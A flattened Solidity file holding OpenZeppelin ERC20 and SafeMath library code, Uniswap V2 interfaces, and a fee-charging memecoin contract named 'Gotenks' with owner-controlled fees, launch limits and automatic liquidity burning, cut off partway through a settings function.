* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/MarshallRoganInu.sol
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract Gotenks is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Gotenks", "Gotenks") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 7;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 10;
uint256 _sellLiquidityFee = 7;
uint256 _sellDevFee = 2;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 20_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn
maxWallet = 20_000_000 * 1e18; // 2% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0x4F051679c422263d2A048D3A97a51Db28818C7a9); // set as marketing wallet
devWallet = address(0x4F051679c422263d2A048D3A97a51Db28818C7a9); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
